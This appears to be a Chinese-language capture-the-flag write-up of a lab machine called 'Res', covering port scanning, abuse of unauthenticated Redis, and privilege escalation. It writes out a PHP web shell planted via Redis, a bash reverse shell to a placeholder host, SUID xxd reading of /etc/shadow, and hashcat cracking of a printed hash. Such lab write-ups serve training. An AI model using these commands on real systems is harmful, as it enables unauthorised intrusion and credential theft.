Res
😶

Res

Published
March 27, 2023
Category
Write-Up
Subcategory
渗透测试方法与策略
渗透测试案例与实践
Tags
提权
Author
HZH
Notes

0x01、Enumeration

nmap -p- -sC -sV -Pn -oN nmap $IP
notion image
通过nmap可以扫描出开放了80和6379端口,而6379存放了一个6.0.7版本的数据库。
Redis是一个开源(BSD许可证)的内存数据结构存储库,可用作数据库、缓存和消息代理(参考自此)。默认情况下,Redis使用基于纯文本的协议,但是您需要记住它还可以实现SSL/TLS。
 

0x02、80:HTTP

Apache httpd 2.4.18 ((Ubuntu))
登陆页面是默认的Apache Ubuntu网站页面。当在实际的渗透测试报告中报告此问题时,它将被归类为信息泄露漏洞,因为它让用户知道网站在本地机器上运行的位置。这可能在以后会派上用场。
notion image
 

0x03、6379 : Redist

默认情况下,Redis可以在没有凭据的情况下访问。但是,它可以配置为仅支持密码或用户名+密码。可以在redis.conf文件中使用参数requirepass设置密码,或在服务重新启动连接并运行config set requirepass p@ss$12E45命令,以临时设置密码。此外,可以在redis.conf文件中的masteruser参数中配置用户名。使用以下命令连接到服务器
redis-cli -h [IP ADDRESS]
使用”info”命令进行判断
notion image
根据Apache Ubuntu网站页面显示的信息透露,该网站的文件存放地址为/var/www/html
所以我们将往该网站下写入一句话木马文件。
config set dir /var/www/html config set dbfilename redis.php set test "<?php system($_GET['cmd']);?>" save
然后在该页面通过get传入一个命令,打印出用户的密码,通过这个方式测试木马写入是否成功
http://10.10.159.16/redis.php?cmd=cat%20/etc/passwd
notion image
现在往恶意脚本里写入,反弹shell的恶意代码:
"<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/YOUR_IP/4444 0>&1'\"); ?>"
使用nc -lvp 444监听端口,发现返回了www-data用户,www-data是许多Linux发行版中的默认用户,专门用于运行Web服务器。该用户用于维护和提供对服务器文件和目录的访问权限,特别是针对基于HTTP或HTTPS协议的Web请求。 www-data用户通常由流行的Web服务器(如Apache或Nginx)用于安全地管理Web相关操作。
notion image
如果被害者主机上有python环境,则可以使用下面这段命令来实现一个伪终端
python -c 'import pty;pty.spawn("/bin/bash")'
 

0x04、特权提升

去到home目录下,可以看到用户vianka。现在想切换到vianka用户,我们需要知道vianka用户的密码,最好的途径是通过查看/etc/shadow文件来查看密码哈希值。但是/etc/shadow文件往往需要root用户权限才能打开,对此我们可以通过查看拥有SUID权限的文件来打开/etc/shadow文件。
使用以下命令查找拥有SUID权限的用户
find / -perm -4000 -type f 2>/dev/null
notion image
可以看到xxd命令工具具有SUID权限,使用下列方法来打印/etc/shadow文件
xxd /etc/shadow | xxd -r
将打印出来的哈希放入到hashcat中进行解密,
hashcat -a 0 -m 1800 '$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0' /usr/share/wordlists/rockyou.txt --quiet
最终得到密码,通过su命令成功切换到vianka中
切换到vianka后,通过使用id命令查看用户拥有管理员权限,即uid=0,那么可以通过sudo -i转换到root用户的终端界面上